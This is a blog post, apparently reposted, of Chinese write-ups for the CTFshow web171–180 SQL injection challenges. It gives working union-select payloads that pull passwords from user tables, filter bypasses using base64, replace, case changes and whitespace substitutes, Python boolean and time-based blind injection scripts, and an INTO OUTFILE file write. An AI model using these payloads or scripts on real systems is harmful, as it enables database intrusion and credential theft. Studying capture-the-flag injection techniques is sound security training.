当前位置:网站首页>CTFshow之web171~180---SQL注入(1)
CTFshow之web171~180---SQL注入(1)
2022-06-09 10:50:00 【金 帛】
目录
web171
用order by判断字段,确认字段数为3

接着用联合注入爆出当前数据库的所有表名
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()--+
根据题目给的SQL语句判断,flag就在字段password里,且旁边对应的字段username值为flag,故构造payload直接查看flag
-1' union select 1,2,password from ctfshow_user where username = 'flag' --+

总结:
有时候注释符#用不了,可以换成--+注释掉,联合查询的结果跟前面where的限制条件无关,比如前面username != ‘flag’对联合注入无效
web172
跟上一题差不多,只不过这里字段数为2,还有个约束条件

判断回显的字段是否有flag,有flag就不能回显
先看一下表
-1' union select 2,group_concat(table_name) from information_schema.tables where table_schema = database()--+

这里明显flag不在第一个表里,构造payload
-1' union select 2,password from ctfshow_user2 where username = 'flag' --+

web173
字段数依旧为3,与第一题不同,这有个过滤函数

判断是否回显有flag,有就查询失败,不过貌似没用
-1' union select 1,2,password from ctfshow_user3 where username = 'flag' --+

web174
可以判断字段数为2

根据提示,这里过滤了flag跟数字0-9,所以在查询id=2根id=3的时候会没有回显,所以本题有两种方法,一种是盲注,一种是直接绕过
方法一:字符串转化绕过

因为flag肯定含有数字,可能还含有flag等字段,所以我们可以先对回显的值进行base64加密,再进行数字替换,就能绕过查询结果检测了,用到的函数有to_base64和replace
这里构造payload
-1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),"1","@A"),"2","@B"),"3","@C"),"4","@D"),"5","@E"),"6","@F"),"7","@G"),"8","@H"),"9","@I"),"0","@J") from ctfshow_user4 where username = 'flag' --+
将密码复制一下,粘贴到解密脚本得到flag
import base64
flag64 = " "
flag = flag64.replace("@A", "1").replace("@B", "2").replace("@C", "3").replace("@D", "4").replace("@E", "5").replace("@F", "6").replace("@G", "7").replace("@H", "8").replace("@I", "9").replace("@J", "0")
print(base64.b64decode(flag))方法二:盲注
我们首先得知道查询的接口跟盲注正确页面与错误页面的区别才能写出python脚本跑,先用burpsuite抓包id查询的接口

拼接得到查询接口的url
ca140cdb-03af-4111-aea3-508eb34a10a1.challenge.ctf.show/api/v4.php?id=1&page=1&limit=10
直接上网站访问一下看看

再用布尔逻辑盲注,试试看错误页面
ca140cdb-03af-4111-aea3-508eb34a10a1.challenge.ctf.show/api/v4.php?id=1' and 0--+

admin就是判断是否正确的关键了,利用这点,写出python脚本(能力有限,代码一点烂得跑久一点)
import requests
url = "http://1641eab8-d9ad-45ac-b1f6-088311ddb9e0.challenge.ctf.show/api/v4.php"
flag = ""
for i in range(1,100):
c = 32
while c > 31:
payload_1 = "?id=1' and ascii(substr((select group_concat(password) from ctfshow_user4 where username = 'flag'),%d,1)) > %d -- -"%(i,c)
payload_2 = "?id=1' and ascii(substr((select group_concat(password) from ctfshow_user4 where username = 'flag'),%d,1)) = %d -- -"%(i,c)
res_1 = requests.get(url=url+payload_1).text
res_2 = requests.get(url=url+payload_2).text
if "admin" in res_1:
c = c + 10
elif "admin" in res_2:
flag += chr(c)
print(flag)
print(c)
break
else:
c = c - 1web175

正则匹配中\xnn代表的是ascii码为十六进制nn的字符串,本关过滤掉了ascii从0到127的字符,所以就不能单纯地靠回显来爆出flag了,但是可以利用时间盲注跟写出文件来拿到flag
方法一:时间盲注
抓到拿到接口url,写一个时间盲注的python脚本
#ctfshow web175
import requests
url = "http://84e961fe-66cb-4aeb-b84e-bc8d9fc931bd.challenge.ctf.show/api/v5.php"
flag = ""
i = 0
while True:
i = i + 1
left = 32
right = 127
while left < right:
mid = (left + right) // 2
payload = f"?id=1' and if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),{i},1))>{mid},sleep(2),0) -- -"
try:
res = requests.get(url = url + payload, timeout = 0.6)
right = mid
except Exception as e:
left = mid + 1
if left != 32:
flag += chr(left)
print(flag)
else:
break
方法二:文件写入
写入文件的前提是知道网站初始的目录,一般来说都是/var/www/html/
构造payload
0' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'--+
然后访问1.txt即可拿到flag
总结:
输出被限制的时候可以利用文件写入操作,into outfile
web176
用order by判断字段数为3,接着用联合查询

发现联合查询被过滤掉了,select被过滤掉了,用大小写能绕过去

先看一下当前数据库的表名
0' union Select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() --+

接着跟上面一样,直接爆flag
0' union Select 1,2,group_concat(password) from ctfshow_user where username = 'flag' --+

web177
经过测试,同上题一样,就是把空格给过滤掉了,就相当于把注释符-- 给过滤掉了,我们可以用/**/或者是%0a(回车)来绕过空格的过滤,%23(#)来绕过注释符的过滤,接着我们直接拿下flag
'/**/Union/**/Select/**/1,2,group_concat(password)/**/from/**/ctfshow_user/**/where/**/username='flag'%23

总结:
这种题目不能用一般fuzz跑,因为SQL语句错误,跟被过滤掉的关键字都是同一个回显,只能一个一个测试,或者是直接用工具生成对应正确的fuzz跑
web178
跟上一题相比过滤掉了/**/注释符,但是能用回车(%0a)、括号、%09、%0c、%0d、%0b代替,一样
'%0aUnion%0aSelect%0a1,2,group_concat(password)%0afrom%0actfshow_user%0awhere%0ausername='flag'%23

总结:
空格被过滤可以用,/**/,%09,%0a,%0b,%0c,%0d还有括号绕过
web179
发现也过滤了很多符号,但是%0c能用,跟上题一样
'%0cUnion%0cSelect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'%23

web180
%23给过滤掉了,可以用闭合号来注释掉后面的语句'1'='
'%0cUnion%0cSelect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'or'1'='

总结:
注释的方法有三种,-- 和#还有闭合号注释
边栏推荐
- RDMA Verbs API
- 【基础知识】~ 硬核/软核/固核、PWM/SPWM、斐波那契数列、大端模式存储、傅里叶变换、奈奎斯特采样定律、芯片选型、基尔霍夫定律、FIR/IIR 滤波器
- Web3 的“中国特色”
- Leetcode 159 Longest substring containing at most two different characters (2022.06.08)
- Ref reference usage
- 精诚所至,金石为开
- 现代社会,人们对半导体产品依赖的程度越来越高
- What are the preparations for building your own website
- Kaggle泰坦尼克号幸存者预测
- Quartz多个调度器+线程池模式分别调度任务
猜你喜欢

Flink CDC + Hudi 海量数据入湖在顺丰的实践

简单有趣的小蛇成长游戏--贪吃蛇
![[buuctf.reverse] 109_[FlareOn6]FlareBear,110_[INSHack2018]Tricky-Part1](/img/94/324c1bf9e0bd27cdf391d700ec51ec.png)
[buuctf.reverse] 109_[FlareOn6]FlareBear,110_[INSHack2018]Tricky-Part1

Perfdog releases new indicators, tailored to the game

Kaggle泰坦尼克号幸存者预测

MySQL 学习笔记-第五篇-数据备份与恢复、MySQL 日志

MOS tube from entry to mastery

Use the five number generalization method to determine the outliers in the data set

web开发重点,简单开发web

How much do you know, deep analysis, worth collecting
随机推荐
全网详细接口测试ApiPost详细教程(实战),吐血整理
EasyRecovery15免费版本数据恢复软件
第四讲:数据仓库搭建(二)
P4580 [BJOI2014]路径
MOFs, metal organic framework materials of folate ligands, are loaded with 5-fluorouracil, sidabelamine, taxol, doxorubicin, daunorubicin and other drugs
P4580 [bjoi2014] path
TemplateDoesNotExist at /users/register/
一文带你了解GaussDB(DWS) 【这次高斯不是数学家】
js中数组遍历的方法
最新版,最新资料
Monomer mode
Shutter popup shutter shutter_ easyloading
P1110 [ZJOI2007]报表统计
How does the IOT low code platform use operation logs?
no provider available for the service错误解决方案
Cyclodextrin metal organic framework( β- Cd-mof) loaded with dimercaptosuccinic acid( β- CD-MOF/DMSA) β- Drug loading mechanism of cyclodextrin metal organic framework
[buuctf.reverse] 109_[FlareOn6]FlareBear,110_[INSHack2018]Tricky-Part1
[buuctf.reverse] 111_[b01lers2020]chugga_chugga
自己建设网站需要做哪些准备
jvm内存溢出练习记录